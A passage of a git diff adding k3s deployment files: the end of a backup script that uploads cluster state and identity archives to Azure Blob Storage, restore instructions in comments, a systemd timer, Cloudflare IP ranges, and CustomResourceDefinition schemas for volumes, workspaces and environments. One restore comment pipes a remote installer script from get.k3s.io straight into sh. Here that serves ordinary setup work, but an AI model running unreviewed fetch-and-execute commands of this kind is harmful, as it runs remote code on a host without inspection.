"${ACCOUNT:=rusticgitkolomi}" +: "${CONTAINER:=k3s-backup}" +SAS=$(cat "$SAS_FILE") + +put() { + # `--fail` so a rejected upload is a non-zero exit and therefore a failed systemd unit, not a + # silent success that leaves you with no backup and no alert. + curl -sS --fail -X PUT \ + -H "x-ms-blob-type: BlockBlob" \ + -H "Content-Type: application/gzip" \ + --data-binary "@$WORK/k3s-backup.tgz" \ + "https://${ACCOUNT}.blob.core.windows.net/${CONTAINER}/$1?${SAS}" >/dev/null +} + +put "hourly-${HOUR}.tgz" +put "daily-${DOW}.tgz" + +echo "backed up $(stat -c %s "$WORK/k3s-backup.tgz" 2>/dev/null || stat -f %z "$WORK/k3s-backup.tgz") bytes to hourly-${HOUR} and daily-${DOW}" +exit "$crd_ok" + +# --------------------------------------------------------------------------- +# RESTORE, onto a fresh control-plane node: +# +# 1. Install the SAME k3s version, but do not let it start a new cluster: +# curl -sfL https://get.k3s.io | INSTALL_K3S_VERSION=v1.33.5+k3s1 INSTALL_K3S_SKIP_START=true sh -s - server ... +# 2. systemctl stop k3s +# 3. Fetch and unpack: +# curl -sS "https://ACCOUNT.blob.core.windows.net/k3s-backup/daily-Mon.tgz?SAS" -o /tmp/b.tgz +# tar -xzf /tmp/b.tgz -C /tmp +# install -m600 /tmp/state.db /var/lib/rancher/k3s/server/db/state.db +# rm -f /var/lib/rancher/k3s/server/db/state.db-wal /var/lib/rancher/k3s/server/db/state.db-shm +# tar -xzf /tmp/identity.tgz -C /var/lib/rancher/k3s/server +# Node gone for good and a fresh cluster in its place? Skip state.db and identity.tgz: +# kubectl apply -f deploy/k3s/crds.yaml && kubectl apply -f /tmp/objects.yaml +# then roll the agent DaemonSet — its startup migration re-claims what it finds on the pool. +# `status` is not restorable this way (it is a subresource); the controllers rebuild it. +# 4. systemctl start k3s +# 5. Agents rejoin on their own IF the restored identity matches the token they hold. Verify with +# `kubectl get nodes` and `kubectl get volumes,workspaces,environments`. +# +# The `-wal`/`-shm` removal in step 3 matters: leaving a WAL from the OLD database beside a restored +# one is how a restore silently reintroduces the state you were trying to roll back. +# --------------------------------------------------------------------------- diff --git a/deploy/k3s/backup-controlplane.timer b/deploy/k3s/backup-controlplane.timer new file mode 100644 index 00000000..51918b5b --- /dev/null +++ b/deploy/k3s/backup-controlplane.timer @@ -0,0 +1,12 @@ +[Unit] +Description=Hourly k3s control-plane backup + +[Timer] +OnCalendar=hourly +# A slot missed while the node was off runs at boot instead of waiting up to 59 minutes. +Persistent=true +# So the hourly VACUUM never lines up with everything else that fires at :00. +RandomizedDelaySec=5min + +[Install] +WantedBy=timers.target diff --git a/deploy/k3s/cloudflare-ips-v4.txt b/deploy/k3s/cloudflare-ips-v4.txt new file mode 100644 index 00000000..eb8553f6 --- /dev/null +++ b/deploy/k3s/cloudflare-ips-v4.txt @@ -0,0 +1,15 @@ +173.245.48.0/20 +103.21.244.0/22 +103.22.200.0/22 +103.31.4.0/22 +141.101.64.0/18 +108.162.192.0/18 +190.93.240.0/20 +188.114.96.0/20 +197.234.240.0/22 +198.41.128.0/17 +162.158.0.0/15 +104.16.0.0/13 +104.24.0.0/14 +172.64.0.0/13 +131.0.72.0/22 diff --git a/deploy/k3s/crds.yaml b/deploy/k3s/crds.yaml new file mode 100644 index 00000000..00759e91 --- /dev/null +++ b/deploy/k3s/crds.yaml @@ -0,0 +1,1413 @@ +{ + "apiVersion": "v1", + "kind": "List", + "items": [ + { + "apiVersion": "apiextensions.k8s.io/v1", + "kind": "CustomResourceDefinition", + "metadata": { + "name": "volumes.rustic-git.io" + }, + "spec": { + "group": "rustic-git.io", + "names": { + "kind": "Volume", + "plural": "volumes", + "shortNames": [ + "vol" + ], + "singular": "volume" + }, + "scope": "Cluster", + "versions": [ + { + "additionalPrinterColumns": [ + { + "jsonPath": ".spec.owner", + "name": "Owner", + "type": "string" + }, + { + "jsonPath": ".spec.nodeName", + "name": "Node", + "type": "string" + }, + { + "jsonPath": ".status.phase", + "name": "Phase", + "type": "string" + }, + { + "jsonPath": ".metadata.creationTimestamp", + "name": "Age", + "type": "date" + } + ], + "name": "v1alpha1", + "schema": { + "openAPIV3Schema": { + "description": "Auto-generated derived type for VolumeSpec via `CustomResource`", + "properties": { + "spec": { + "properties": { + "nodeName": { + "description": "Copied ONCE from the parent's `status.nodeName` when the parent's controller creates this\nchild (`ensure_child_volume`) — the node whose claim won, which honours the owner's\n`OwnerBinding` when one exists. A pod's affinity is derived from this and never chosen\nindependently — two places allowed to name a node is two places that can disagree about\nwhere the data is.", + "type": "string" + }, + "owner": { + "type": "string" + }, + "quotaGb": { + "format": "uint64", + "minimum": 0.0, + "type": "integer" + }, + "region": { + "type": "string" + }, + "restoreTo": { + "description": "Written by the PARENT's reconciler, never by a user: restoring in place under a running\nservice is how a database ends up with a half-old disk, so the parent scales down first and\nonly then asks for this.", + "nullable": true, + "properties": { + "owner": { + "description": "The registry owner LABEL of `volume` (a team slug for a team's environment). Absent means\nthe destination's own owner — same rule as `VolumeSource::RestoreOf`.", + "nullable": true, + "type": "string" + }, + "region": { + "nullable": true, + "type": "string" + }, + "requestedAt": { + "default": "", + "description": "RFC-3339, written by the API. The only thing that distinguishes \"restore this snapshot\nagain\" from \"already done\".", + "type": "string" + }, + "snapshotId": { + "type": "string" + }, + "volume": { + "description": "The volume the RECORD lives under, which is not always the volume being restored INTO — a\nrestore can graft another volume's snapshot in place.", + "type": "string" + } + }, + "required": [ + "snapshotId", + "volume" + ], + "type": "object" + }, + "source": { + "nullable": true, + "oneOf": [ + { + "required": [ + "cloneOf" + ] + }, + { + "required": [ + "restoreOf" + ] + }, + { + "required": [ + "gitRepo" + ] + } + ], + "properties": { + "cloneOf": { + "description": "A local snapshot of a sibling on the same pool — no registry round trip.", + "properties": { + "volume": { + "type": "string" + } + }, + "required": [ + "volume" + ], + "type": "object" + }, + "gitRepo": { + "description": "A git repository on this platform, cloned at `branch` into the fresh subvolume by the\nworkspace pod's INIT CONTAINER, not by the agent.\n\nNo credential here and none in a Secret either: the clone runs inside the workspace, over\nSSH, as the owner, with the platform key already mounted at `k8s::USER_KEY_PATH`. The old\n`credential_secret` named a Secret nobody ever wrote and the agent had no permission to\nread — the git-seeding path was dead code that looked wired.", + "properties": { + "branch": { + "type": "string" + }, + "repo": { + "type": "string" + } + }, + "required": [ + "branch", + "repo" + ], + "type": "object" + }, + "restoreOf": { + "description": "A pushed commit, named by id, fetched from the registry.\n\n`region` is the region the RECORD names, which is not always the region this node runs in:\na snapshot pushed from the VM region restores onto a k3s node, and its blobs live in the\nVM region's container. The API resolves it (it holds the region store and the caller's\nauthorization); the agent maps it to credentials. Absent means \"this node's own region\" —\nevery record written before this field existed.", + "properties": { + "owner": { + "description": "The registry owner LABEL the source volume lives under — a team slug for a team's\nenvironment, which is not the owner of the object being restored INTO. Absent means\n\"the same owner\", which is every record written before this and every personal restore.", + "nullable": true, + "type": "string" + }, + "region": { + "nullable": true, + "type": "string" + }, + "snapshot_id": { + "type": "string" + }, + "volume": { + "type": "string" + } + }, + "required": [ + "snapshot_id", + "volume" + ], + "type": "object" + } + }, + "type": "object" + }, + "team": { + "default": "", + "description": "Same meaning as `WorkspaceSpec::team`; carried here because the controller materializes a\nvolume before its workspace exists and needs the namespace for the git credential.", + "type": "string" + } + }, + "required": [ + "nodeName", + "owner", + "quotaGb", + "region" + ], + "type": "object" + }, + "status": { + "nullable": true, + "properties": { + "conditions": { + "items": { + "description": "Condition contains details for one aspect of the current state of this API Resource.", + "properties": { + "lastTransitionTime": { + "description": "lastTransitionTime is the last time the condition transitioned from one status to another. This should be when the underlying condition changed. If that is not known, then using the time when the API field changed is acceptable.", + "format": "date-time", + "type": "string" + }, + "message": { + "description": "message is a human readable message indicating details about the transition. This may be an empty string.", + "type": "string" + }, + "observedGeneration": { + "description": "observedGeneration represents the .metadata.generation that the condition was set based upon. For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date with respect to the current state of the instance.", + "format": "int64", + "type": "integer" + }, + "reason": { + "description": "reason contains a programmatic identifier indicating the reason for the condition's last transition. Producers of specific condition types may define expected values and meanings for this field, and whether the values are considered a guaranteed API. The value should be a CamelCase string. This field may not be empty.", + "type": "string" + }, + "status": { + "description": "status of the condition, one of True, False, Unknown.", + "type": "string" + }, + "type": { + "description": "type of condition in CamelCase or in foo.example.com/CamelCase.", + "type": "string" + } + }, + "required": [ + "lastTransitionTime", + "message", + "reason", + "status", + "type" + ], + "type": "object" + }, + "type": "array" + }, + "lineageTip": { + "nullable": true, + "type": "string" + }, + "observedGeneration": { + "description": "Stamped from `metadata.generation` so a reconcile can tell \"already done\" from \"not yet\nseen\" — the difference between an idle requeue and a duplicated btrfs send.", + "format": "int64", + "nullable": true, + "type": "integer" + }, + "phase": { + "description": "Every lifecycle state any of the five kinds reports, as ONE enum.\n\nAn enum rather than a `String` so schemars emits `enum` and the API server rejects a typo with a\n422. A free-form string is how `running` reached a `WsState` that spells that state `Ready`: the\nprojection's `serde_json::from_value` fell back to its default, so a healthy workspace showed\n\"Creating\" in the UI indefinitely, with nothing failing and nothing logged.\n\nOne enum for five kinds rather than five, because the alternative is five near-identical types\nand a `phase` field whose type a reader has to look up per kind. Which variants are legal for\nwhich kind is the reconciler's business; the schema's job is to refuse a word nobody defined.", + "enum": [ + "creating", + "stopped", + "error", + "pending", + "ready", + "running", + "working", + "done" + ], + "type": "string" + }, + "progress": { + "description": "Human-readable progress for work that outlives one reconcile (a multi-GB send).", + "nullable": true, + "type": "string" + }, + "restoreRequestedAt": { + "description": "The `requestedAt` of the wish that put `restoredTo` there. Both halves, or restoring the\nSAME snapshot a second time is a silent no-op — which is exactly what someone does after\nundoing a restore by hand, or after a bad afternoon of changes.", + "nullable": true, + "type": "string" + }, + "restoredTo": { + "description": "The snapshot id last materialized INTO `live`. `spec.restoreTo.snapshotId` == this is the\nwhole \"already done\" test, on both sides: the Volume does not restore again and the parent\nscales its services back up.", + "nullable": true, + "type": "string" + }, + "subvolumePresent": { + "default": false, + "type": "boolean" + } + }, + "required": [ + "phase" + ], + "type": "object" + } + }, + "required": [ + "spec" + ], + "title": "Volume", + "type": "object" + } + }, + "selectableFields": [ + { + "jsonPath": ".spec.nodeName" + } + ], + "served": true, + "storage": true, + "subresources": { + "status": {} + } + } + ] + } + }, + { + "apiVersion": "apiextensions.k8s.io/v1", + "kind": "CustomResourceDefinition", + "metadata": { + "name": "workspaces.rustic-git.io" + }, + "spec": { + "group": "rustic-git.io", + "names": { + "kind": "Workspace", + "plural": "workspaces", + "shortNames": [ + "ws" + ], + "singular": "workspace" + }, + "scope": "Cluster", + "versions": [ + { + "additionalPrinterColumns": [ + { + "jsonPath": ".spec.owner", + "name": "Owner", + "type": "string" + }, + { + "jsonPath": ".status.nodeName", + "name": "Node", + "type": "string" + }, + { + "jsonPath": ".status.phase", + "name": "Phase", + "type": "string" + }, + { + "jsonPath": ".metadata.creationTimestamp", + "name": "Age", + "type": "date" + } + ], + "name": "v1alpha1", + "schema": { + "openAPIV3Schema": { + "description": "Auto-generated derived type for WorkspaceSpec via `CustomResource`", + "properties": { + "spec": { + "properties": { + "desiredState": { + "description": "What the operator asked for, independent of what is currently true.", + "enum": [ + "running", + "stopped" + ], + "type": "string" + }, + "image": { + "type": "string" + }, + "name": { + "type": "string" + }, + "nodeName": { + "description": "DEPRECATED, release 1 only. The API stopped writing these the moment placement moved into\nstatus, but they stay in the SCHEMA for one release: a CRD apply is cluster-wide and pruning\nis irreversible, while the agents roll per node — dropping them here would destroy the only\npointer to the Volume of every object whose migration had not run yet. The startup migration\nreads them; Task 11 removes them once nothing carries them.", + "nullable": true, + "type": "string" + }, + "owner": { + "type": "string" + }, + "packages": { + "description": "The package list, written by the API. Lives on `spec`, not a file in the workspace's own\nsubvolume: one object, one list — a clone copies it for free along with the rest of spec,\nand a restore (which grafts onto a past snapshot of the volume) never touches it, because\nspec is not part of what a restore replaces.", + "items": { + "type": "string" + }, + "type": "array" + }, + "region": { + "type": "string" + }, + "resources": { + "default": { + "cpuRequest": "2", + "cpuLimit": "4", + "memoryRequest": "4Gi", + "memoryLimit": "8Gi" + }, + "description": "Requests and limits for a workspace pod, as plain strings in Kubernetes quantity form.", + "properties": { + "cpuLimit": { + "type": "string" + }, + "cpuRequest": { + "type": "string" + }, + "memoryLimit": { + "type": "string" + }, + "memoryRequest": { + "type": "string" + } + }, + "required": [ + "cpuLimit", + "cpuRequest", + "memoryLimit", + "memoryRequest" + ], + "type": "object" + }, + "restore": { + "description": "In-place restore, same wish the Environment takes. Written by the API, consumed by this\nobject's reconciler. Workspaces do not offer it in the UI yet — the field exists so the\nowner-only workspace restore can use the one code path rather than growing a second.", + "nullable": true, + "properties": { + "owner": { + "description": "The registry owner LABEL of `volume` (a team slug for a team's environment). Absent means\nthe destination's own owner — same rule as `VolumeSource::RestoreOf`.", + "nullable": true, + "type": "string" + }, + "region": { + "nullable": true, + "type": "string" + }, + "requestedAt": { + "default": "", + "description": "RFC-3339, written by the API. The only thing that distinguishes \"restore this snapshot\nagain\" from \"already done\".", + "type": "string" + }, + "snapshotId": { + "type": "string" + }, + "volume": { + "description": "The volume the RECORD lives under, which is not always the volume being restored INTO — a\nrestore can graft another volume's snapshot in place.", + "type": "string" + } + }, + "required": [ + "snapshotId", + "volume" + ], + "type": "object" + }, + "storage": { + "description": "Optional in release 1: an object created before this field existed must still PARSE, or the\ncontroller 422s every legacy Workspace it tries to write. A legacy object is adopted through\nits deprecated `spec.volumeRef` instead; Task 11 is what makes this required.", + "nullable": true, + "properties": { + "quotaGb": { + "format": "uint64", + "minimum": 0.0, + "type": "integer" + }, + "source": { + "nullable": true, + "oneOf": [ + { + "required": [ + "cloneOf" + ] + }, + { + "required": [ + "restoreOf" + ] + }, + { + "required": [ + "gitRepo" + ] + } + ], + "properties": { + "cloneOf": { + "description": "A local snapshot of a sibling on the same pool — no registry round trip.", + "properties": { + "volume": { + "type": "string" + } + }, + "required": [ + "volume" + ], + "type": "object" + }, + "gitRepo": { + "description": "A git repository on this platform, cloned at `branch` into the fresh subvolume by the\nworkspace pod's INIT CONTAINER, not by the agent.\n\nNo credential here and none in a Secret either: the clone runs inside the workspace, over\nSSH, as the owner, with the platform key already mounted at `k8s::USER_KEY_PATH`. The old\n`credential_secret` named a Secret nobody ever wrote and the agent had no permission to\nread — the git-seeding path was dead code that looked wired.", + "properties": { + "branch": { + "type": "string" + }, + "repo": { + "type": "string" + } + }, + "required": [ + "branch", + "repo" + ], + "type": "object" + }, + "restoreOf": { + "description": "A pushed commit, named by id, fetched from the registry.\n\n`region` is the region the RECORD names, which is not always the region this node runs in:\na snapshot pushed from the VM region restores onto a k3s node, and its blobs live in the\nVM region's container. The API resolves it (it holds the region store and the caller's\nauthorization); the agent maps it to credentials. Absent means \"this node's own region\" —\nevery record written before this field existed.", + "properties": { + "owner": { + "description": "The registry owner LABEL the source volume lives under — a team slug for a team's\nenvironment, which is not the owner of the object being restored INTO. Absent means\n\"the same owner\", which is every record written before this and every personal restore.", + "nullable": true, + "type": "string" + }, + "region": { + "nullable": true, + "type": "string" + }, + "snapshot_id": { + "type": "string" + }, + "volume": { + "type": "string" + } + }, + "required": [ + "snapshot_id", + "volume" + ], + "type": "object" + } + }, + "type": "object" + } + }, + "required": [ + "quotaGb" + ], + "type": "object" + }, + "team": { + "default": "", + "description": "The team this workspace is made in, or empty for the owner's personal namespace. A\nworkspace's Kubernetes namespace is one per (team, owner) pair — see `ws_namespace` — so\nthe same person's work in two teams never shares a namespace, a NetworkPolicy or a Secret.", + "type": "string" + }, + "volumeRef": { + "nullable": true, + "type": "string" + } + }, + "required": [ + "desiredState", + "image", + "name", + "owner", + "region" + ], + "type": "object" + }, + "status": { + "nullable": true, + "properties": { + "compatibleNodes": { + "description": "Every node that holds this object's volume — the memory placement uses when `nodeName` is\nempty. Nothing in this design writes more than one entry; nothing in it may assume there is\nonly one (replication across nodes is a later design).", + "items": { + "type": "string" + }, + "type": "array" + }, + "conditions": { + "items": { + "description": "Condition contains details for one aspect of the current state of this API Resource.", + "properties": { + "lastTransitionTime": { + "description": "lastTransitionTime is the last time the condition transitioned from one status to another. This should be when the underlying condition changed. If that is not known, then using the time when the API field changed is acceptable.", + "format": "date-time", + "type": "string" + }, + "message": { + "description": "message is a human readable message indicating details about the transition. This may be an empty string.", + "type": "string" + }, + "observedGeneration": { + "description": "observedGeneration represents the .metadata.generation that the condition was set based upon. For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date with respect to the current state of the instance.", + "format": "int64", + "type": "integer" + }, + "reason": { + "description": "reason contains a programmatic identifier indicating the reason for the condition's last transition. Producers of specific condition types may define expected values and meanings for this field, and whether the values are considered a guaranteed API. The value should be a CamelCase string. This field may not be empty.", + "type": "string" + }, + "status": { + "description": "status of the condition, one of True, False, Unknown.", + "type": "string" + }, + "type": { + "description": "type of condition in CamelCase or in foo.example.com/CamelCase.", + "type": "string" + } + }, + "required": [ + "lastTransitionTime", + "message", + "reason", + "status", + "type" + ], + "type": "object" + }, + "type": "array" + }, + "nodeName": { + "default": "", + "description": "Where this object runs NOW. Empty means unplaced, which is exactly what the placement\nwatch's `status.nodeName=` field selector matches.", + "type": "string" + }, + "observedGeneration": { + "format": "int64", + "nullable": true, + "type": "integer" + }, + "packages": { + "description": "The package profile actually converged, reported rather than wished for — `spec.packages`\ncarries the list the reconciler last saw; this is what building it produced.", + "nullable": true, + "properties": { + "base": { + "description": "The platform's base set the profile was built with, on top of `observed`. Reported so a\npage can show what every workspace gets without asking the node which env it runs with.", + "items": { + "type": "string" + }, + "type": "array" + }, + "nixpkgs": { + "nullable": true, + "type": "string" + }, + "observed": { + "items": { + "type": "string" + }, + "type": "array" + }, + "observedHash": { + "nullable": true, + "type": "string" + }, + "profile": { + "nullable": true, + "type": "string" + } + }, + "type": "object" + }, + "phase": { + "description": "Every lifecycle state any of the five kinds reports, as ONE enum.\n\nAn enum rather than a `String` so schemars emits `enum` and the API server rejects a typo with a\n422. A free-form string is how `running` reached a `WsState` that spells that state `Ready`: the\nprojection's `serde_json::from_value` fell back to its default, so a healthy workspace showed\n\"Creating\" in the UI indefinitely, with nothing failing and nothing logged.\n\nOne enum for five kinds rather than five, because the alternative is five near-identical types\nand a `phase` field whose type a reader has to look up per kind. Which variants are legal for\nwhich kind is the reconciler's business; the schema's job is to refuse a word nobody defined.", + "enum": [ + "creating", + "stopped", + "error", + "pending", + "ready", + "running", + "working", + "done" + ], + "type": "string" + }, + "podRef": { + "nullable": true, + "type": "string" + }, + "sshHostKey": { + "description": "The pod's SSH public host key, reported by the node once sshd's key exists. The CLI pins\nit in `known_hosts`, so an absent one means \"no session yet\", never \"trust on first use\".", + "nullable": true, + "type": "string" + }, + "volumeRef": { + "description": "The child `Volume`, reported rather than wished for: the reconciler creates it and then\nsays so here.", + "nullable": true, + "type": "string" + } + }, + "required": [ + "phase" + ], + "type": "object" + } + }, + "required": [ + "spec" + ], + "title": "Workspace", + "type": "object" + } + }, + "selectableFields": [ + { + "jsonPath": ".status.nodeName" + } + ], + "served": true, + "storage": true, + "subresources": { + "status": {} + } + } + ] + } + }, + { + "apiVersion": "apiextensions.k8s.io/v1", + "kind": "CustomResourceDefinition", + "metadata": { + "name": "environments.rustic-git.io" + }, + "spec": { + "group": "rustic-git.io", + "names": { + "kind": "Environment", + "plural": "environments", + "shortNames": [ + "env" + ], + "singular": "environment" + }, + "scope": "Cluster", + "versions": [ + { + "additionalPrinterColumns": [ + { + "jsonPath": ".spec.owner", + "name": "Owner", + "type": "string" + }, + { + "jsonPath": ".status.nodeName", + "name": "Node", + "type": "string" + }, + { + "jsonPath": ".status.phase", + "name": "Phase", + "type": "string" + }, + { + "jsonPath": ".metadata.creationTimestamp", + "name": "Age", + "type": "date" + } + ], + "name": "v1alpha1", + "schema": { + "openAPIV3Schema": { + "description": "Auto-generated derived type for EnvironmentSpec via `CustomResource`", + "properties": { + "spec": { + "properties": { + "desiredState": { + "description": "What the operator asked for, independent of what is currently true.", + "enum": [ + "running", + "stopped" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "nodeName": { + "description": "DEPRECATED, release 1 only. The API stopped writing these the moment placement moved into\nstatus, but they stay in the SCHEMA for one release: a CRD apply is cluster-wide and pruning\nis irreversible, while the agents roll per node — dropping them here would destroy the only\npointer to the Volume of every object whose migration had not run yet. The startup migration\nreads them; Task 11 removes them once nothing carries them.", + "nullable": true, + "type": "string" + }, + "owner": { + "description": "A team, usually — environments are team-owned, workspaces are user-owned.", + "type": "string" + }, + "region": { + "type": "string" + }, + "restore": { + "description": "The user's wish to put a past snapshot back into THIS environment's own disk, rather than\ninto a new one. Additive and never cleared by a controller — see `RestoreWish`.", + "nullable": true, + "properties": { + "owner": { + "description": "The registry owner LABEL of `volume` (a team slug for a team's environment). Absent means\nthe destination's own owner — same rule as `VolumeSource::RestoreOf`.", + "nullable": true, + "type": "string" + }, + "region": { + "nullable": true, + "type": "string" + }, + "requestedAt": { + "default": "", + "description": "RFC-3339, written by the API. The only thing that distinguishes \"restore this snapshot\nagain\" from \"already done\".", + "type": "string" + }, + "snapshotId": { + "type": "string" + }, + "volume": { + "description": "The volume the RECORD lives under, which is not always the volume being restored INTO — a\nrestore can graft another volume's snapshot in place.", + "type": "string" + } + }, + "required": [ + "snapshotId", + "volume" + ], + "type": "object" + }, + "services": { + "description": "Reused verbatim from the domain model: the same `Service`/`Mount` the `/v1` API has always\ntaken, so a mount is still validated by `model::validate_mount` before it becomes a volume.", + "items": { + "properties": { + "command": { + "items": { + "type": "string" + }, + "type": "array" + }, + "env": { + "additionalProperties": { + "type": "string" + }, + "type": "object" + }, + "image": { + "type": "string" + }, + "mounts": { + "items": { + "description": "Names a folder inside the env's own subvolume (`live/volumes/{folder}`), never a workspace —\nsee the \"An environment is a composition\" decision in the design doc. Any non-empty `folder`\nname must be a single safe segment (see `validate_mount` — anything else escapes the\nsubvolume); the folder is created on demand by `EnvUp`. `#[serde(alias)]` keeps old docs\n(and the API request body) that still say `volume` working.", + "properties": { + "folder": { + "type": "string" + }, + "path": { + "type": "string" + } + }, + "required": [ + "folder", + "path" + ], + "type": "object" + }, + "type": "array" + }, + "name": { + "type": "string" + }, + "ports": { + "default": [], + "description": "Container ports this service answers on, published as a ClusterIP Service so siblings — and\nan attached workspace — can reach it by service name. `default` so environment documents\nwritten before ports existed still deserialize as \"exposes nothing\".", + "items": { + "format": "uint16", + "maximum": 65535.0, + "minimum": 0.0, + "type": "integer" + }, + "type": "array" + } + }, + "required": [ + "command", + "env", + "image", + "mounts", + "name" + ], + "type": "object" + }, + "type": "array" + }, + "storage": { + "description": "Optional in release 1, same reason as `WorkspaceSpec::storage`.", + "nullable": true, + "properties": { + "quotaGb": { + "format": "uint64", + "minimum": 0.0, + "type": "integer" + }, + "source": { + "nullable": true, + "oneOf": [ + { + "required": [ + "cloneOf" + ] + }, + { + "required": [ + "restoreOf" + ] + }, + { + "required": [ + "gitRepo" + ] + } + ], + "properties": { + "cloneOf": { + "description": "A local snapshot of a sibling on the same pool — no registry round trip.", + "properties": { + "volume": { + "type": "string" + } + }, + "required": [ + "volume" + ], + "type": "object" + }, + "gitRepo": { + "description": "A git repository on this platform, cloned at `branch` into the fresh subvolume by the\nworkspace pod's INIT CONTAINER, not by the agent.\n\nNo credential here and none in a Secret either: the clone runs inside the workspace, over\nSSH, as the owner, with the platform key already mounted at `k8s::USER_KEY_PATH`. The old\n`credential_secret` named a Secret nobody ever wrote and the agent had no permission to\nread — the git-seeding path was dead code that looked wired.", + "properties": { + "branch": { + "type": "string" + }, + "repo": { + "type": "string" + } + }, + "required": [ + "branch", + "repo" + ], + "type": "object" + }, + "restoreOf": { + "description": "A pushed commit, named by id, fetched from the registry.\n\n`region` is the region the RECORD names, which is not always the region this node runs in:\na snapshot pushed from the VM region restores onto a k3s node, and its blobs live in the\nVM region's container. The API resolves it (it holds the region store and the caller's\nauthorization); the agent maps it to credentials. Absent means \"this node's own region\" —\nevery record written before this field existed.", + "properties": { + "owner": { + "description": "The registry owner LABEL the source volume lives under — a team slug for a team's\nenvironment, which is not the owner of the object being restored INTO. Absent means\n\"the same owner\", which is every record written before this and every personal restore.", + "nullable": true, + "type": "string" + }, + "region": { + "nullable": true, + "type": "string" + }, + "snapshot_id": { + "type": "string" + }, + "volume": { + "type": "string" + } + }, + "required": [ + "snapshot_id", + "volume" + ], + "type": "object" + } + }, + "type": "object" + } + }, + "required": [ + "quotaGb" + ], + "type": "object" + }, + "volumeRef": { + "nullable": true, + "type": "string" + } + }, + "required": [ + "desiredState", + "name", + "owner", + "region", + "services" + ], + "type": "object" + }, + "status": { + "nullable": true, + "properties": { + "compatibleNodes": { + "description": "Every node that holds this object's volume — the memory placement uses when `nodeName` is\nempty. Nothing in this design writes more than one entry; nothing in it may assume there is\nonly one (replication across nodes is a later design).", + "items": { + "type": "string" + }, + "type": "array" + }, + "conditions": { + "items": { + "description": "Condition contains details for one aspect of the current state of this API Resource.", + "properties": { + "lastTransitionTime": { + "description": "lastTransitionTime is the last time the condition transitioned from one status to another. This should be when the underlying condition changed. If that is not known, then using the time when the API field changed is acceptable.", + "format": "date-time", + "type": "string" + }, + "message": { + "description": "message is a human readable message indicating details about the transition. This may be an empty string.", + "type": "string" + }, + "observedGeneration": { + "description": "observedGeneration represents the .metadata.generation that the condition was set based upon. For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date with respect to the current state of the instance.", + "format": "int64", + "type": "integer" + }, + "reason": { + "description": "reason contains a programmatic identifier indicating the reason for the condition's last transition. Producers of specific condition types may define expected values and meanings for this field, and whether the values are considered a guaranteed API. The value should be a CamelCase string. This field may not be empty.", + "type": "string" + }, + "status": { + "description": "status of the condition, one of True, False, Unknown.", + "type": "string" + }, + "type": { + "description": "type of condition in CamelCase or in foo.example.com/CamelCase.", + "type": "string" + } + }, + "required": [ + "lastTransitionTime", + "message", + "reason", + "status", + "type" + ], + "type": "object" + }, + "type": "array" + }, + "nodeName": { + "default": "", + "description": "Where this object runs NOW. Empty means unplaced, which is exactly what the placement\nwatch's `status.nodeName=` field selector matches.", + "type": "string" + }, + "observedGeneration": { + "format": "int64", + "nullable": true, + "type": "integer" + }, + "phase": { + "description": "Every lifecycle state any of the five kinds reports, as ONE enum.\n\nAn enum rather than a `String` so schemars emits `enum` and the API server rejects a typo with a\n422. A free-form string is how `running` reached a `WsState` that spells that state `Ready`: the\nprojection's `serde_json::from_value` fell back to its default, so a healthy workspace showed\n\"Creating\" in the UI indefinitely, with nothing failing and nothing logged.\n\nOne enum for five kinds rather than five, because the alternative is five near-identical types\nand a `phase` field whose type a reader has to look up per kind. Which variants are legal for\nwhich kind is the reconciler's business; the schema's job is to refuse a word nobody defined.", + "enum": [ + "creating", + "stopped", + "error", + "pending", + "ready", + "running", + "working", + "done" + ], + "type": "string" + }, + "serviceStatus": { + "items": { + "properties": { + "message": { + "nullable": true, + "type": "string" + }, + "name": { + "type": "string" + }, + "ready": { + "type": "boolean" + } + }, + "required": [ + "name", + "ready" + ], + "type": "object" + }, + "type": "array" + }, + "volumeRef": { + "description": "The child `Volume`, reported rather than wished for: the reconciler creates it and then\nsays so here.", + "nullable": true, + "type": "string" + } + }, + "required": [ + "phase" + ], + "type": "object" + } + }, + "required": [ + "spec" + ], + "title": "Environment", + "type": "object" + } + }, + "selectableFields": [ + { + "jsonPath": ".status.nodeName" + } + ], + "served": true, + "storage": true, + "subresources": { + "status": {} + } + } + ] + } + }, + { + "apiVersion": "apiextensions.k8s.io/v1", + "kind": "CustomResourceDefinition", + "metadata": { + "name": "ownerbindings.rustic-git.io" + }, + "spec": { + "group": "rustic-git.io", + "names": { + "kind": "OwnerBinding", + "plural": "ownerbindings", + "shortNames": [ + "ob" + ], + "singular": "ownerbinding" + }, + "scope": "Cluster", + "versions": [ + { + "additionalPrinterColumns": [ + { + "jsonPath": ".spec.owner", + "name": "Owner", + "type": "string" + }, + { + "jsonPath": ".spec.nodeName", + "name": "Node", + "type": "string" + }, + { + "jsonPath": ".spec.region", + "name": "Region", + "type": "string" + } + ], + "name": "v1alpha1", + "schema": { + "openAPIV3Schema": { + "description": "Auto-generated derived type for OwnerBindingSpec via `CustomResource`", + "properties": { + "spec": { + "description": "Which node an owner's work lands on. One object per `{region, owner}`.\n\nWatched by the agent on `spec.nodeName`: this object is what makes an owner's per-team\nnamespaces exist on that node.", + "properties": { + "nodeName": { + "type": "string" + }, + "owner": { + "type": "string" + }, + "region": { + "type": "string" + } + }, + "required": [ + "nodeName", + "owner", + "region" + ], + "type": "object" + }, + "status": { + "nullable": true, + "properties": { + "conditions": { + "items": { + "description": "Condition contains details for one aspect of the current state of this API Resource.", + "properties": { + "lastTransitionTime": { + "description": "lastTransitionTime is the last time the condition transitioned from one status to another. This should be when the underlying condition changed. If that is not known, then using the time when the API field changed is acceptable.", + "format": "date-time", + "type": "string" + }, + "message": { + "description": "message is a human readable message indicating details about the transition. This may be an empty string.", + "type": "string" + }, + "observedGeneration": { + "description": "observedGeneration represents the .metadata.generation that the condition was set based upon. For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date with respect to the current state of the instance.", + "format": "int64", + "type": "integer" + }, + "reason": { + "description": "reason contains a programmatic identifier indicating the reason for the condition's last transition. Producers of specific condition types may define expected values and meanings for this field, and whether the values are considered a guaranteed API. The value should be a CamelCase string. This field may not be empty.", + "type": "string" + }, + "status": { + "description": "status of the condition, one of True, False, Unknown.", + "type": "string" + }, + "type": { + "description": "type of condition in CamelCase or in foo.example.com/CamelCase.", + 